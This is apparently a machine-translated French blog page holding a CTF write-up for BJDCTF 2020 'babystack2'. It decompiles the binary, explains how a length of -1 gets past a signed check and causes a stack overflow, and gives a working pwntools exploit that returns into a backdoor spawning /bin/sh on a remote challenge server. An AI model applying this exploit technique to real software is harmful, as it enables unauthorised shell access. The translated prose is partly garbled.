当前位置:网站首页>[CTF] bjdctf 2020 Bar _ Bacystack2
[CTF] bjdctf 2020 Bar _ Bacystack2
2022-07-02 00:18:00 【Delta Hell】
Analyse du sujet
Décompiler,Rechercher des vulnérabilités
mainFonctions:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoorFonctions:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
Le sujet est clair. , La fonction porte arrière est déjà fournie , Il suffit de sauter. .
Regarde encoremainFonctions,read La fonction est évidemment un point d'utilisation ,Utiliser des variableslocal_c Pour créer un débordement .
Bien sûr.,Ce n'est pas si simple., Jugement avec limite de longueur avant
if (10 < (int)local_c)
Mais,C'est aussi simple.,Pas vrai? Débordement de plastique , Nombre entier négatif , C'est tout. ~~~
Il s'est avéré,C'est tout à fait vrai., Mais le processus est trop tortueux ,Description simple:
Le débordement local échouera ,InubuntuAllez.,Entrée-1,readRenvoie directement;InwindowsExpérience supérieure,Entrée-1,read La fenêtre apparaîtra ,Conseils
buf len < INT_MAXConditions non remplies, C'est évident. ,read Limite d'entrée . Ça fait longtemps. , Aucune solution trouvée , Parce que la limite de longueur est dépassée ,
Doit utiliser un nombre négatif , Sinon, il ne peut pas déborder. ,Et même siINT_MIN,Convertir en nombre non signé,Toujours.2147483648,Toujours> INT_MAX;Un instant.
Je doute de la vie. .
Comment résoudre le problème
La pensée est le processus d'analyse du sujet ci - dessus ,Tout à fait., Vérification directe de la cible oui OKDe,-1 Peut dépasser la limite de longueur ,En même tempsreadPas d'erreur(Pleurer sans larmes)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
Conséquences de l'incapacité de valider localement , C'est la longueur du débordement. .
Résumé
Quand les idées vont bien , Détecteur de cibles en temps opportun . Mais il est intéressant d'ajuster la machine. , Bien qu'aucun résultat final n'ait été trouvé ,Par exemple,ubuntuAllez.,J'ai écrit un test.demo, Supprimer la vérification de la longueur ,RésultatsreadPas plus de3652Pas de problème,Heures supplémentaireserrnoJe vais le signalerBad address,Suivez - moi.windows Ce n'est pas pareil. ,Mais3652 Ça n'a aucun sens. , Je doute encore de la vie. ~~~ C'est fini. , Il y a un ton à l'arrière. glibc On verra ça plus tard. .
边栏推荐
- Ldr6035 smart Bluetooth audio can continuously charge and discharge mobile devices
- 比较通俗易懂的PID理解
- Linux centos7 installation Oracle11g super perfect novice tutorial
- 回顾数据脱敏系统
- 微信小程序缓存过期时间的相关设置(推荐)
- Talents come from afar, and Wangcheng district has consolidated the intellectual base of "strengthening the provincial capital"
- LDR6035智能蓝牙音响可充可放(5.9.12.15.20V)快充快放设备充电
- 创业团队如何落地敏捷测试,提升质量效能?丨声网开发者创业讲堂 Vol.03
- PWN attack and defense world cgpwn2
- Operate database transactions with jpatractionmanager
猜你喜欢
Talents come from afar, and Wangcheng district has consolidated the intellectual base of "strengthening the provincial capital"
[QT] solve the problem that QT MSVC 2017 cannot compile
Graduation season is both a farewell and a new beginning
heketi 记录
EMC circuit protection device for surge and impulse current protection
数据分析方法论与前人经验总结【笔记干货】
Jielizhi, production line assembly link [chapter]
LDR6035智能蓝牙音响可对手机设备持续充放电方案
PyTorch学习记录
S32Kxxx bootloader之UDS bootloader
随机推荐
Is the securities account given by qiniu business school safe? Where can I open an account
Is it safe and reliable to open an account in Caixue school and make new debts?
Is it safe for qiniu college to open an account? How to open an account?
[QT] QT cannot find a solution to the compiler using msvc2017
【QT】對於Qt MSVC 2017無法編譯的問題解决
Example explanation: move graph explorer to jupyterlab
ADO. Net SqlCommand object
Data analysis methodology and previous experience summary [notes dry goods]
Leetcode 96 différents arbres de recherche binaires
Openvino model performance evaluation tool DL workbench
JS——图片转base码 、base转File对象
Which app is better and more secure for stock mobile account opening
LDR6035智能蓝牙音响可对手机设备持续充放电方案
PyTorch学习记录
It's nothing to be utilitarian!
【QT】测试Qt是否能连接上数据库
Learn online case practice
js 公共库 cdn 推荐
[Qt] résoudre le problème que Qt msvc 2017 ne peut pas Compiler
如何提升数据质量